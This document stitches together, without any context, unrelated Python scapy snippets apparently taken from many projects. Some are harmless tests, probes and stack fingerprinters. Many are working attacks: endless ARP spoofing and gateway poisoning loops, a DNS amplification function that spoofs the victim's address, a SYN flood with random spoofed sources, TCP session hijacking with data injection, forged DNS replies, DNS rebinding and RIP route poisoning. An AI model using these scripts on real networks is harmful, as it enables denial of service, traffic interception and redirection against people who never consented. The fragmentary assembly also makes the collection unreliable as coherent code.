def store(pkg): if pkg.haslayer(DNS) and pkg.haslayer(DNSRR) and pkg[DNS].ancount: # 是DNS 是DNS回答 有CNAME回答内容 count, order = extract_count_and_order(pkg[UDP].dport, pkg[DNS].id) for i in range(pkg[DNS].ancount): if pkg[DNSRR][i].type == CNAME and order <= 5: record = "{count} {order} {address}\n".format( count=count, order=order, address=pkg[DNSRR][i].rdata.strip().rstrip("."), ) stdout.write(record) ret_data = pkg[DNSRR][i].rdata sport, dns_id = get_sport_and_id(count, order+1) dns_query = IP( dst="8.8.8.8", )/UDP( sport=sport, dport=53, )/DNS( id=dns_id, rd=1, qd=DNSQR( qname=ret_data.strip().rstrip("."), qtype=CNAME, ), ) send([dns_query, dns_query, dns_query], verbose=0)
def send_pkts(self): conf.iface6=helpers.INTERFACE for pkt in self.inst.crafts() : send(pkt, verbose=True) self.inst.add_to_snd(pkt)
def send(self): for i in range(1,args.pn): send(self.train_packets) ans,re=sr(self.final_packet,timeout=2) if ans == []: raise Exception("Timeout: The specified open port may be not open, try -op to change it") return ans[0][1].time-ans[0][0].sent_time
def stop_packet(self): ''' Send a dummy TCP packet to the victim with source IP the destination host's, which will be caught by sniff filter and cause sniff function to stop. ''' dummy_packet = IP(dst=self.destination_ip, src=self.source_ip)/TCP(dport=self.destination_port) send(dummy_packet, verbose=0)
def hack(hackip): ip = get_gataway_ip() hw = get_gataway_hw(ip) arp = ARP(op=2, pdst=ip, hwdst=hw, psrc=hackip) # os.popen('ifconfig eth0 %s' % hackip) while 1: send(arp)
def testCrossProtocolCrash(self): # Checks that an ICMP error containing a ping packet that matches the ID # of a socket of the wrong protocol (which can happen when using 464xlat) # doesn't crash the kernel. # We can only test this using IPv6 unreachables and IPv4 ping sockets, # because IPv4 packets sent by scapy.send() on loopback are not received by # the kernel. So we don't actually use this function yet. def GetIPv4Unreachable(port): # pylint: disable=unused-variable return (scapy.IP(src="192.0.2.1", dst="127.0.0.1") / scapy.ICMP(type=3, code=0) / scapy.IP(src="127.0.0.1", dst="127.0.0.1") / scapy.ICMP(type=8, id=port, seq=1)) def GetIPv6Unreachable(port): return (scapy.IPv6(src="::1", dst="::1") / scapy.ICMPv6DestUnreach() / scapy.IPv6(src="::1", dst="::1") / scapy.ICMPv6EchoRequest(id=port, seq=1, data="foobarbaz")) # An unreachable matching the ID of a socket of the wrong protocol # shouldn't crash. s = net_test.IPv4PingSocket() s.connect(("127.0.0.1", 12345)) _, port = s.getsockname() scapy.send(GetIPv6Unreachable(port))
def arp_hack(self, arp_ip, dsthw, dstip): t = ARP(op=2, hwsrc=self.arp_mac, psrc=arp_ip, hwdst=dsthw, pdst=dstip) send(t, iface=self.ifname)
def run(self, state, pkt, wait,timeout=None): """Send pkt, receive the answer if wait is True, and return a tuple (validity of reply packet, reply packet). If no test function is given, assume it's valid.""" self.dbgshow(pkt) if wait: # do we wait for a reply ? self.debug("Waiting for packet...", level=2) if pkt is None: timeout, buffermode = None, False if type(wait) is tuple: wait, timeout, buffermode = wait #print wait #wait, buffermode = wait if hasattr(wait, '__call__'): ans = self.waitForPacket(filterfct=wait, timeout=timeout) # if buffermode: # ans is a buffer (list) # self.debug("Entering buffer mode.", level=1) # return [self.packetReceived(pkt,buffermode=True) for pkt in ans] else: raise Exception("error, no packet generated.") else: #TODO: Make sure this waits continuously in a non blocking mode, convert this to dumping from a queue ans=sr1(pkt) else: send(pkt) #print pkt self.first = True # prev_pkt shouldnt be taken into account self.debug("Packet sent, no waiting, going on with next.",2) return (True, None) # no reply, no check return self.packetReceived(ans) # post-reply actions
def dns_callback(pkt): if DNS in pkt and not UDPerror in pkt: global first_request global dns_id ip=pkt.getlayer(IP) dns=pkt.getlayer(DNS) if dns.qr: return dns.summary() else: if dns.qd != None and dns_id != dns.id: if confusion in dns.qd.qname: dns_id = dns.id answer = IP(dst=ip.src,src=ip.dst)/UDP(dport=ip.sport,sport=ip.dport)/DNS(id=dns.id,qr=1,qd=dns.qd,an=DNSRR(rrname=dns.qd.qname, type="CNAME", ttl=dns_ttl, rdata=attacker)/DNSRR(rrname=attacker, ttl=dns_ttl, rdata=victim)) send(answer,loop=0) return dns.summary() elif attacker in dns.qd.qname: dns_id = dns.id answer = IP(dst=ip.src,src=ip.dst)/UDP(dport=ip.sport,sport=ip.dport)/DNS(id=dns.id,qr=1,qd=dns.qd,an=DNSRR(rrname=dns.qd.qname, ttl=dns_ttl, rdata=attacker_ip)/DNSRR(rrname=dns.qd.qname, ttl=dns_ttl, rdata=victim)) send(answer,loop=0) return dns.summary()
def do_callback(payload): data = payload.get_data() pkt = IPv6(data) if pkt.version == 6: if pkt.nh == 58 or pkt.nh == 17 or pkt.nh == 6: # Significant packet received - ICMPv6 / UDP / TCP reply = IPv6() reply.dst = pkt[IPv6].src hl = pkt[IPv6].hlim icmp = None response = None if hl < path_length: icmp = ICMPv6TimeExceeded(code=0) reply.src = "%s%s" % (prefix, hl) else: # Packet with hlim >= path_length received. 'Destination' reached. reply.src = destination if isinstance(pkt[1], ICMPv6EchoRequest): # Reply to the ping response = ICMPv6EchoReply(id=pkt[1].id, seq=pkt[1].seq, data=pkt[1].data) if isinstance(pkt[1], TCP) and pkt[1].flags == 'S': # Reject the TCP SYN response = TCP(sport=pkt[1].dport, dport=pkt[1].sport, seq=pkt[1].seq, flags='R') if isinstance(pkt[1], UDP): # Reject the UDP pkt with ICMPv6 port unreachable icmp = ICMPv6DestUnreach(code=4) try: if icmp != None and response == None: send(reply/icmp/pkt, verbose=0) elif icmp == None and response != None: send(reply/response, verbose=0) except UnboundLocalError: print(time.ctime() + ': UnboundLocalError') pass
def handle_packet(packet): ip = packet.getlayer("IP") tcp = packet.getlayer("TCP") flags = tcp.sprintf("%flags%") print "Got packet %s:%d -> %s:%d [%s]" % (ip.src, tcp.port, ip.dst, tcp.dport, flags) # check if this is a hijackable packet if tcp.sprintf("%flags%") == "A" or tcp.sprintf("%flags%") == "PA": already_hijacked = hijack_data.get(ip.dst, {}).get('hijacked') #the packet is from server to client if tcp.sport == srv_port and ip.src == srv_ip and not already_hijacked: print "Got server sequence " + str(tcp.seq) print "Got client sequence " + str(tcp.ack) + "\n" # Found the payload? if grep in str(tcp.payload): hijack_data.setdefault(ip.dst, {})['hijack'] = True print "Found payload " + str(tcp.payload) elif not grep: hijack_data.setdefault(ip.dst, {})['hijack'] = True if hijack_data.setdefault(ip.dst, {}).get('hijack'): print "Hijacking %s:%d -> %s:%d" % (ip.dst, tcp.dport, ip.src, srv_port) # spoof packet from client packet = IP(src=ip.dst, dst=ip.src) /\ TCP(sport=tcp.dport, dport=srv_port, seq=tcp.ack + len(inject_data), ack=tcp.seq + 1, flags="PA") / \ inject_data send(packet, iface=dev) hijack_data[ip.dst]['hijacked'] = True
def handle_packet(packet): ip = packet.getlayer(scapy.IP) udp = packet.getlayer(scapy.UDP) dns = packet.getlayer(scapy.DNS) # standard (a record) dns query if dns.qr == 0 and dns.opcode == 0: queried_host = dns.qd.qname[:-1] resolved_ip = None if dns_map.get(queried_host): resolved_ip = dns_map.get(queried_host) elif dns_map.get('*'): resolved_ip = dns_map.get('*') if resolved_ip: dns_answer = scapy.DNSRR(rrname=queried_host + '.', ttl = 330, type="A", rclass="IN", rdata=resolved_ip) dns_reply = scapy.IP(src=ip.dst, dst=ip.src) / \ scapy.UDP(sport=udp.dport,dport=udp.sport) / \ scapy.DNS( id = dns.id, qr = 1, aa = 0, rcode = 0, qd = dns.qd, an = dns_answer ) print "Send %s has %s to %s" % (queried_host,resolved_ip,ip.src) scapy.send(dns_reply, iface=dev)
def main(): """ :return: void() """ seq = 0 ack = 0 # Hand Shake ip_layer = IP(src=SRC_IP, dst=DST_IP) tcp_layer = TCP(dport=PORT, seq=100, flags='S') syn_pkg = ip_layer / tcp_layer syn_ack_pkg = sr1(syn_pkg) if syn_ack_pkg != 0: ip_layer = IP(src=SRC_IP, dst=DST_IP) tcp_layer = TCP(dport=PORT, seq=syn_ack_pkg[TCP].ack, ack=(syn_ack_pkg[TCP].seq + 1), flags='A') ack_pkg = ip_layer / tcp_layer seq = syn_ack_pkg[TCP].ack ack = syn_ack_pkg[TCP].seq + 1 send(ack_pkg) print "Sould be connected to server by this point" # Finish hand-Shake ip_layer = IP(src=SRC_IP, dst=DST_IP) tcp_layer = TCP(dport=PORT, seq=seq, ack=ack, flags='A') msg = raw_input('Enter text here: \n') http_msg = 'GET / HTTP/1.1\r\n' + msg + '\r\n' print 'http_msg: ' + str(http_msg) print 'src_ip: ' + str(SRC_IP) enc_msg = hmac.new(KEY,http_msg + SRC_IP, sha256) msg2 = http_msg + http_msg + enc_msg.hexdigest() + "\r\n\r\n" com_pkg = ip_layer / tcp_layer / msg2 com_pkg.show() com_ans_pkg = sr1(com_pkg) com_ans_pkg.show()
def hasRawSocketPermission(): from scapy.all import IP, send try: send(IP(src="1.2.3.4", dst="127.0.0.1")) return True except (socket.error, OSError): return False
def arpspoof(victim_ip): #gateway=["10.61.3.254","38:22:d6:bf:51:00"] gateway=['192.168.100.110','5c:f3:fc:e7:4c:c2'] ip=gateway[0] hw=gateway[1] arp=ARP(op=2,pdst=ip,hwdst=hw,psrc=victim_ip) while 1: send(arp)
def __synfin(self, i, payload): data = payload.get_data() p = scapy.IP(data) p[scapy.TCP].flags = "SF" del p[scapy.IP].chksum del p[scapy.TCP].chksum p = p.__class__(str(p)) scapy.send(p);
def gw_poison(): gw = scapy.ARP(pdst=gateway, psrc=target) while True: try: scapy.send(gw,verbose=0,inter=1,loop=1) except KeyboardInterupt: print(bcolours.OKBLUE + ' [Warning] Stopping...' + bcolours.ENDC) sys.exit(3)
def ack(self): # TODO check the limit size l = self.compress(self.to_ack) ack_pkt = Core.forge_packet( self, self.fast_pkt, "{0}.{1}".format(_FAST, l), ) send(ack_pkt, verbose=0) raise self.WAITING()
def scan_port(host, port): # Send SYN with random Src Port for each Dst port srcPort = random.randint(1025, 65534) resp = sr1(IP(dst=host) / TCP(sport=srcPort, dport=port, flags="S"), timeout=1, verbose=0) if resp.haslayer(TCP) and resp[TCP].flags == (TCPFlag.SYN | TCPFlag.ACK): send(IP(dst=host) / TCP(sport=srcPort, dport=port, flags="R"), timeout=1, verbose=0) return True return False
def dnsamp(target): while not finished: s=socket.socket(socket.AF_INET,socket.SOCK_STREAM) with open(sys.argv[2],"r") as ampers: for ipaddr in ampers: ipaddr = ipaddr.rstrip() send(IP(dst=ipaddr, src=target)/UDP(dport=53, sport=random.randrange(1024,65535))/DNS(qd=DNSQR(qname=".", qtype="NS")),verbose=0) send(IP(dst=ipaddr, src=target)/UDP(dport=53, sport=random.randrange(1024,65535))/DNS(qd=DNSQR(qname="goo.gl", qtype="TXT")),verbose=0) print "Sent request to: "+ipaddr
def DATA_EMISSION(self, pkt, asked_pkt): if asked_pkt <= len(self.frag_reply): data_pkt = Core.forge_packet( self, pkt, "{0}.{1}.{2}".format( _DATA, str(asked_pkt), self.frag_reply[-(asked_pkt+1)], ), ) send(data_pkt, verbose=0) raise self.WAITING()
def DATA_RECEPTION(self, pkt, pkt_nb): if not self.recv_data.has_key(pkt_nb): self.recv_data[pkt_nb] = "".join(self.payload) if self.msg_type == _ACK: ack_pkt = Core.forge_packet(self, pkt, "{0}.{1}".format(_ACK, pkt_nb)) send(ack_pkt, verbose=0) raise self.WAITING() elif self.msg_type == _FAST: self.fast_pkt = pkt self.to_ack = [pkt_nb]
def spoof(from_ip, to_ip, spoofed_mac, hwdest=None): if not hwdest: ## Broadcast if the mac address can't be retrieved hwdest = getMacAddress(to_ip) or "ff:ff:ff:ff:ff:ff" packet = ARP() packet.hwdest = hwdest packet.pdst = to_ip packet.hwsrc = spoofed_mac packet.psrc = from_ip send(packet, verbose=0) return hwdest
def run_sender(ip, interval): i = 0 while True: msg = "Luke @ " + str(socket.gethostname()) + " " + str(i) port = 1337 dest_ip = ip + "/26" print dest_ip packet = IP(src = "1.2.3.4", dst = dest_ip)/UDP(sport = 0, dport = port)/msg send(packet) sleep(interval) i += 1
def run(self): i = IP() i.src = "%i.%i.%i.%i" % (random.randint(1, 254), random.randint(1, 254), random.randint(1, 254), random.randint(1, 254)) i.dst = self.target t = TCP() t.sport = random.randint(1, 65535) t.dport = self.port t.flags = 'S' send(i / t, verbose=0)
def send_packet(protocol=None, src_ip=None, src_port=None, flags=None, dst_ip=None, dst_port=None, iface=None): if protocol == 'tcp': packet = IP(src=src_ip, dst=dst_ip) / TCP(flags=flags, sport=src_port, dport=dst_port) elif protocol == 'udp': if flags: raise Exception(" Flags are not supported for udp") packet = IP(src=src_ip, dst=dst_ip) / UDP(sport=src_port, dport=dst_port) else: raise Exception("Unknown protocol %s" % protocol) send(packet, iface=iface)
def __ping(self): """ Ping to server (4 echoes). """ from scapy.all import IP, ICMP, send from time import sleep sleep(0.5) VTLOG.info("Pinging...") for i in range(0, 4): send(IP(dst=self.conf['ip'])/ICMP(seq=i), verbose=False) sleep(0.5)
def DONE(self, pkt, code): if code == _ACK: if self.recv_data.keys() == range(0, len(self.recv_data)): d = "".join(self.recv_data.values()) ssh_request = Raw(b64decode(d)) self.stream.send(ssh_request) self.recv_data.clear() send(Core.forge_packet(self, pkt, _DONE), verbose=0) elif code == _DATA: self.iwt_pkt = None send(Core.forge_packet(self, pkt, _DONE), verbose=0) raise self.WAITING()
def CON(self, ssh_msg): if ssh_msg == "": raise self.TICKLING() s = self.calculate_limit_size(self.first_pkt) qtype = self.first_pkt[DNSQR].qtype self.frag_reply = self.fragment_data(b64encode(ssh_msg), s, qtype) if len(self.frag_reply) == 1: pkt = Core.forge_packet(self, self.first_pkt, "{0}.{1}.0.{2}".format(_CON, self.con_id, self.frag_reply[0])) else: pkt = Core.forge_packet(self, self.first_pkt, "{0}.{1}.{2}".format(_CON, self.con_id, str(len(self.frag_reply)-1))) send(pkt, verbose=0) raise self.WAITING()
def pcb(p): if not p.haslayer(TCP): return ipl = p.getlayer(IP) tcpl = p.getlayer(TCP) print p.summary() if tcpl.flags == 2 and ipl.dst == MYIP and not tcpl.dport in IGNORE_PORTS: print "SYN from", ipl.src, tcpl.sport, "to port", tcpl.dport rp = IP(src=ipl.dst, dst=ipl.src, flags='DF', id=0)/TCP(sport=tcpl.dport, dport=tcpl.sport, ack=tcpl.seq+1, seq=rand32(), flags="SA") send(rp)
def tcpv4_probe(dst_host, dst_port, interface, custom_tcp_opts, use_fw, timeout): stack_name_tcp = None stack_name_tcp_opts = None stack_name_tcp_urg = None match_tcp = MATCH_NO_MATCH match_tcp_opts = MATCH_NO_MATCH match_tcp_urg = MATCH_NO_MATCH ip = IP(version=0x4, id=0x00fb, dst=dst_host) try: # We need to set up this rule in order to disable RST packets sent by the Linux kernel if use_fw: subprocess.check_call([ 'iptables', '-A', 'OUTPUT', '-p', 'tcp', '--tcp-flags', 'RST', 'RST', '-s', '%s' % ip.src, '-j', 'DROP' ]) syn_ack = tcp_handshake(dst_host, dst_port, interface, custom_tcp_opts, timeout) if syn_ack == None: return (None, MATCH_NO_REPLY) # Find a TCP options sequence that matches the response uip_tcp_opts_match = check_tcp_options(syn_ack[TCP].options, uip_tcp_opts) fnet_tcp_opts_match = check_tcp_options(syn_ack[TCP].options, fnet_tcp_opts) picotcp_tcp_opts_1_match = check_tcp_options(syn_ack[TCP].options, picotcp_tcp_opts_1) picotcp_tcp_opts_2_match = check_tcp_options(syn_ack[TCP].options, picotcp_tcp_opts_2) nutnet_tcp_opts_match = check_tcp_options(syn_ack[TCP].options, nutnet_tcp_opts) nucleus_net_tcp_opts_match = check_tcp_options(syn_ack[TCP].options, nucleus_net_tcp_opts) cyclone_tcp_opts_match = check_tcp_options(syn_ack[TCP].options, cyclone_tcp_opts) timeout2 = timeout # Check TCP options for uIP/Contiki if uip_tcp_opts_match: match_tcp_opts = MATCH_LOW stack_name_tcp_opts = 'uIP/Contiki' # Check TCP options for FNET elif fnet_tcp_opts_match: match_tcp_opts = MATCH_MEDIUM stack_name_tcp_opts = 'FNET' timeout2 = 20 # FNET may need a bit more time to send the [FIN, ACK] packet # Check TCP options for PicoTCP elif picotcp_tcp_opts_1_match or picotcp_tcp_opts_2_match: match_tcp_opts = MATCH_MEDIUM stack_name_tcp_opts = 'PicoTCP' # Check TCP options for Nut/Net elif nutnet_tcp_opts_match: match_tcp_opts = MATCH_LOW stack_name_tcp_opts = 'Nut/Net' # Check TCP options for Nucleus Net elif nucleus_net_tcp_opts_match: match_tcp_opts = MATCH_LOW stack_name_tcp_opts = 'Nucleus Net' # Check TCP options for CycloneTCP elif cyclone_tcp_opts_match: match_tcp_opts = MATCH_LOW stack_name_tcp_opts = 'CycloneTCP' seqn = syn_ack[TCP].ack ackn = syn_ack[TCP].seq + 1 # Send a TCP segment with the Urgent flag set urg_pkt = ip / TCP(dport=dst_port, sport=syn_ack[TCP].dport, flags='UA', seq=seqn, ack=ackn, urgptr=0x00) / Raw(load=b'\x41\x41\x41') urg_resp = sr1(urg_pkt, timeout=timeout2, iface=interface) # Terminate the connection rst = ip / TCP(dport=dst_port, sport=syn_ack[TCP].dport, flags='R', seq=seqn, ack=ackn) send(rst, iface=interface) # Check the response to the packet with the Urgent flag if urg_resp: if urg_resp[TCP].flags == 'A': # Check the Urgent flag response for uIP/Contiki if urg_resp[TCP].window == 1240 or urg_resp[TCP].window == 1460: stack_name_tcp_urg = 'uIP/Contiki' match_tcp_urg = MATCH_LOW # Check the Urgent flag response for Nut/Net elif urg_resp[TCP].window == 3213: stack_name_tcp_urg = 'Nut/Net' match_tcp_urg = MATCH_LOW # Check the Urgent flag response for Nucleus Net elif urg_resp[TCP].window == 16000: stack_name_tcp_urg = 'Nucleus Net' match_tcp_urg = MATCH_LOW # Check the Urgent flag response for CycloneTCP elif urg_resp[TCP].window == 2858: stack_name_tcp_urg = 'CycloneTCP' match_tcp_urg = MATCH_LOW # Check the Urgent flag response for NDKTCPIP elif urg_resp[TCP].window == 1024: stack_name_tcp_urg = 'NDKTCPIP' match_tcp_urg = MATCH_LOW # Check the Urgent flag response for FNET elif urg_resp[TCP].flags == 'FA' and urg_resp[TCP].window == 2048: stack_name_tcp_urg = 'FNET' match_tcp_urg = MATCH_LOW elif urg_resp[TCP].flags == 'R': # Check the Urgent flag response for PicoTCP if urg_resp[TCP].window == 0: stack_name_tcp_urg = 'PicoTCP' match_tcp_urg = MATCH_LOW # Make an additional check for NDKTCPIP, in case we are dealing with an TCP echo server elif urg_resp[TCP].flags == 'PA': if urg_resp[TCP].window == 1024: stack_name_tcp_urg = 'NDKTCPIP' match_tcp_urg = MATCH_LOW # If we have a discrepancy between TCP options and TCP Urgent flag fingerprint... if stack_name_tcp_opts != stack_name_tcp_urg: if match_tcp_opts >= match_tcp_urg: stack_name_tcp = stack_name_tcp_opts match_tcp = match_tcp_opts else: stack_name_tcp = stack_name_tcp_urg match_tcp = match_tcp_urg # If both fingerprints match the same stack... else: stack_name_tcp = stack_name_tcp_opts match_tcp = match_tcp_opts + match_tcp_urg except Exception as ex: if 'Errno 19' in '%s' % ex: print( '\nERROR: the interface \'{}\' is invalid\n'.format(interface)) else: print('\nERROR: {}\n'.format(ex)) finally: # Cleanup the iptables rule if use_fw: subprocess.check_call([ 'iptables', '-D', 'OUTPUT', '-p', 'tcp', '--tcp-flags', 'RST', 'RST', '-s', '%s' % ip.src, '-j', 'DROP' ]) return (stack_name_tcp, match_tcp)
''' arp欺骗网关,将伪造的pc mac以pc的arp应答发送给网关 ''' from scapy.all import ARP, send, arping import sys, re gateway_ip = '192.168.1.1' gateway_hw = 'f0:eb:d0:0b:11:48' my_ip = '192.168.1.101' #伪造pc mac地址 my_hw = '00:11:22:33:44:55' p = ARP(op=2, hwsrc=my_hw, psrc=my_ip) def arp_hack(ip, hw): #伪造来自网关的arp应答 t = p t.hwdst = hw t.pdst = ip send(t) if __name__ == "__main__": while 1: t = p t.hwdst = gateway_hw t.pdst = gateway_ip send(t)
def send_packets(self, res, logging_level, all_groups, verbose=0, force_raw_socket=False): """Send the packets stored in self.packets. Keyword arguments: verbose -- 0 for no output, 1 for scapy details res -- variable to store results (manager list) logging_level -- logging level for targets class all_groups -- list of all groups force_raw_socket -- force PF_INET instead of PF_PACKET """ # metrics initialization points = {} match_fail = 0 port_mismatch = 0 for grp in all_groups: if grp.name in self.groups: for src_port in range(grp.src_port_a, grp.src_port_z + 1): points[src_port] = {} points[src_port]["sent"] = 0 points[src_port]["loss"] = 0 points[src_port]["timestamp_ooo"] = 0 points[src_port]["latency"] = [] # set logging level log_tcpsyn.setLevel(logging_level) # Force PF_INET usage for compatibility issues if force_raw_socket: conf.L3socket = L3RawSocket # Non promiscuous mode conf.promisc = 0 conf.sniff_promisc = 0 # set scapy buffers conf.bufsize = 2**30 # sending packets, and waiting for responses log_tcpsyn.debug("%s: sending %i TCP SYN packets", self.name, len(self.packets)) # we get our local IP addresses without duplicate try: self_ips = " or ".join(list_self_ips(self.address_family, conf)) except ValueError as error: log_tcpsyn.error("could not get self IPs for bpf: %s", error) """FIXME: simplify when libpcap supports filtering on specific fields for IPV6 upper-layer packets (remove condition and apply ipv4 filter) """ if self.address_family == "ipv6": bpf_filter = "tcp and src net {} and not src net ({})".format( self.destination, self_ips) else: # the ack is (seq+1) + ip_payload - header max_ack = self.max_seq + self.proto_payload_size + 1 bpf_filter = "tcp[8:4] >= {0} and tcp[8:4] <= {1} and \ src net {2} and not src net ({3})".format( self.min_seq, max_ack, self.destination, self_ips) # get the egress interface to use if_egress = egress_interface(self.address_family, conf, self.destination) # send packets ans, unans = sr( self.packets, iface=if_egress, timeout=self.timeout, inter=self.interval, verbose=verbose, filter=bpf_filter, ) # send reset packets log_tcpsyn.debug("%s: sending %i TCP RST packets", self.name, len(self.packets_rst)) send(self.packets_rst, iface=if_egress, inter=self.interval, verbose=0) log_tcpsyn.debug("%s: packets sent", self.name) # matching responses with sent packets using seq/ack # necessary because of scapy bug packets = {} # we record "unanswered" packets for pkt in unans: seq = pkt[0].seq if seq not in packets: packets[seq] = {} packets[seq][0] = pkt[0] # we record sent packets for pkt in ans: # sequence of sent packet seq = pkt[0].seq # we store packets if seq not in packets: packets[seq] = {} packets[seq][0] = pkt[0] # we record received packets for pkt in ans: tcp_flags = pkt[1][TCP].flags # if RstAck if tcp_flags == 0x14: # calculate the sequence of sent packet acknowledged by the response # if SynAck: ack = seq + 1 # if RstAck: ack = seq + payload + 1 # OR ack = seq + 1 (depending of TCP implementation on remote side) seq_acked = pkt[1].ack - self.proto_payload_size - 1 if seq_acked not in packets: seq_acked = pkt[1].ack - 1 else: seq_acked = pkt[1].ack - 1 # we match seq with ack if seq_acked not in packets: log_tcpsyn.error("No sent packet for response with ack={0}, " "destination={1}:{2}".format( pkt[1].ack, self.config_destination, self.dst_port)) match_fail += 1 else: packets[seq_acked][1] = pkt[1] # results analysis for pkt_id in packets: sent_pkt = packets[pkt_id][0] # for each responses if packets[pkt_id].get(1): # we get both sent and received packets received_pkt = packets[pkt_id][1] # if the port is not the good one, we ignore the packet if received_pkt.dport not in points: log_tcpsyn.warning("%s: error port not right", self.name) continue # logs of mismatch sent / received packets and ignore packet if received_pkt.dport != sent_pkt.sport: log_tcpsyn.error( "%s: mismatch ports between sent packet and received", self.name) port_mismatch += 1 continue # latency calculation latency = received_pkt.time - sent_pkt.sent_time # we increment the sent counter points[received_pkt.dport]["sent"] += 1 # we make sure the calculation is good (timestamping issue) if latency >= 0: points[received_pkt.dport]["latency"].append(latency) else: points[received_pkt.dport]["timestamp_ooo"] += 1 # for each unanswered request else: # if the port is not the good one, we ignore the packet if sent_pkt.sport not in points: log_tcpsyn.warning( "%s: ignoring packet as TCP response destination port " "doesn't match with sent packets", self.name, ) continue # we increment the sent counter and the loss counter points[sent_pkt.sport]["sent"] += 1 points[sent_pkt.sport]["loss"] += 1 # we store the information points["name"] = self.name points["probing_type"] = "TCPsyn" points["groups"] = self.groups points["state"] = self.state points["alert_level"] = self.alert_level points["destination"] = self.destination points["address_family"] = self.address_family points["ip_payload_size"] = self.ip_payload_size points["match_fail"] = match_fail points["port_mismatch"] = port_mismatch res.append(points) log_tcpsyn.debug("%s: metrics sent to main code", self.name)
def spoofArp(targetIp, spoofedIp): mac = getTargetMac(targetIp) packet = scapy.ARP(op=2, hwdst=mac, pdst=targetIp, psrc=spoofedIp) scapy.send(packet, verbose=False)
def send_tcp(src_ip, dst_ip, port, flags): ip = IP(src=src_ip, dst=dst_ip) tcp = TCP(dport=port, flags=flags) pkt = ip / tcp send(pkt)
#!/bin/env python3 from scapy.all import IP, TCP, send from ipaddress import IPv4Address from random import getrandbits ip = IP(dst="10.0.2.69") tcp = TCP(dport=23, flags='S') pkt = ip / tcp while True: pkt[IP].src = str(IPv4Address(getrandbits(32))) pkt[TCP].sport = getrandbits(16) pkt[TCP].seq = getrandbits(32) send(pkt, verbose=0)
def spoof(router_ip, target_ip, router_mac, taget_mac): packet1 = scapy.ARP(op=2, hwdst=router_mac, pdst=router_ip, psrc=target_ip) packet2 = scapy.ARP(op=2, hwdst=target_mac, pdst=target_ip, psrc=router_ip) scapy.send(packet1) scapy.send(packet2)
def ARP_Is_At(VictimIP, VictimBIA, RouterIP): send(ARP(op=2, psrc=RouterIP, pdst=VictimIP, hwdst=VictimBIA), count=1)
def spoof(target_ip, spoof_ip): target_mac = get_mac(target_ip) packet = scapy.ARP(op=2,pdst=target_ip,hwdst=target_mac,psrc=spoof_ip) scapy.send(packet, verbose=False)
#!/usr/bin/python from scapy.all import send, IP, UDP DHOST = '192.168.200.214' DPORT = 514 SHOST = '10.10.10.10' SPORT = 32000 PAYLOAD = 'test' send(IP(src=SHOST, dst=DHOST) / UDP(sport=SPORT, dport=DPORT) / PAYLOAD) print 'Source IP: %s, Source port: %s, Destination IP %s, Destination port: %s' % ( SHOST, SPORT, DHOST, DPORT)
def restore(destination_ip,source_ip): destination_mac = get_mac(destination_ip) source_mac = get_mac(source_ip) packet = scapy.ARP(op=2,pdst=destination_ip,hwdst=destination_mac,psrc=source_ip,hwsrc=source_mac) scapy.send(packet, count=4 , verbose=False)
def RunRIPPoisoning(): packet = RIPPoisoning() print(packet) send(packet, inter=30, loop=1) return "RunRIPPoisoning"
def httpv4_probe(dst_host, dst_port, interface, use_fw, timeout): stack_name_http = None match_http = MATCH_NO_MATCH ip = IP(version=0x4, id=0x00fb, dst=dst_host) try: # We need to set up this rule in order to disable RST packets sent by the Linux kernel if use_fw: subprocess.check_call([ 'iptables', '-A', 'OUTPUT', '-p', 'tcp', '--tcp-flags', 'RST', 'RST', '-s', '%s' % ip.src, '-j', 'DROP' ]) syn_ack = tcp_handshake(dst_host, dst_port, interface, {}, timeout) if syn_ack == None: return (None, MATCH_NO_REPLY) seqn = syn_ack[TCP].ack ackn = syn_ack[TCP].seq + 1 # Check for HTTP headers http_data = b'\x47\x45\x54\x20\x2f\x20\x48\x54\x54\x50\x2f\x31\x2e\x31\x0d\x0a' \ b'\x48\x6f\x73\x74\x3a\x20%s\x0d\x0a\x55\x73\x65\x72\x2d\x41\x67\x65' \ b'\x6e\x74\x3a\x20\x63\x75\x72\x6c\x2f\x37\x2e\x35\x38\x2e\x30\x0d\x0a' \ b'\x41\x63\x63\x65\x70\x74\x3a\x20\x2a\x2f\x2a\x0d\x0a\x0d\x0a' % dst_host.encode('utf-8') http_get = ip / TCP(dport=dst_port, sport=syn_ack[TCP].dport, flags='PA', seq=seqn, ack=ackn) / Raw(load=http_data) send(http_get, iface=interface) response_pkts = sniff(filter='tcp and src %s' % dst_host, timeout=timeout * 2, iface=interface) for pkt in response_pkts: if Raw in pkt: # uIP/Contiki if b'Server: Contiki/3' in pkt[ Raw].load or b'Server: Contiki/2' in pkt[ Raw].load or b'Server: uIP/0' in pkt[ Raw].load or b'Server: uIP/1' in pkt[Raw].load: stack_name_http = 'uIP/Contiki' match_http = MATCH_HIGH break # uC/TCP-IP elif b'Server: uC-HTTP-server' in pkt[ Raw].load or b'Server: uC-HTTPs V2.00.00' in pkt[ Raw].load: stack_name_http = 'uC/TCP-IP' match_http = MATCH_HIGH break # Nut/Net elif b'Server: Ethernut' in pkt[Raw].load: stack_name_http = 'Nut/Net' match_http = MATCH_HIGH break # FNET elif b'Server: FNET HTTP' in pkt[Raw].load: stack_name_http = 'FNET' match_http = MATCH_HIGH break # Terminate the connection rst = ip / TCP(dport=dst_port, sport=syn_ack[TCP].dport, flags='R', seq=seqn, ack=ackn) send(rst, iface=interface) # If none of the banners matches, we try to get application-specific error messages if match_http == MATCH_NO_MATCH: # Initiate another 3-way handshake syn_ack = tcp_handshake(dst_host, dst_port, interface, {}, timeout) if syn_ack == None: return (None, MATCH_NO_REPLY) seqn = syn_ack[TCP].ack ackn = syn_ack[TCP].seq + 1 # Check for an implementation-specific error message from MPLAB Harmony Net http_data = b'\x4f\x50\x54\x49\x4f\x4e\x53\x20\x2f\x20\x48\x54\x54\x50\x2f\x31\x2e\x30\x0d\x0a\x0d\x0a' http_pkt = ip / TCP(dport=dst_port, sport=syn_ack[TCP].dport, flags='PA', seq=seqn, ack=ackn) / Raw(load=http_data) send(http_pkt, iface=interface) pkts = sniff(filter='tcp and src %s' % dst_host, timeout=timeout, iface=interface) if pkts and Raw in pkts[0] and pkts[0][ Raw].load == b'HTTP/1.1 501 Not Implemented\r\nConnection: close\r\n\r\n501 Not Implemented: Only GET and POST supported\r\n': stack_name_http = 'MPLAB Harmony Net' match_http = MATCH_HIGH # Terminate the connection rst = ip / TCP(dport=dst_port, sport=syn_ack[TCP].dport, flags='R', seq=seqn, ack=ackn) send(rst, iface=interface) except Exception as ex: if 'Errno 19' in '%s' % ex: print( '\nERROR: the interface \'{}\' is invalid\n'.format(interface)) else: print('\nERROR: {}\n'.format(ex)) finally: 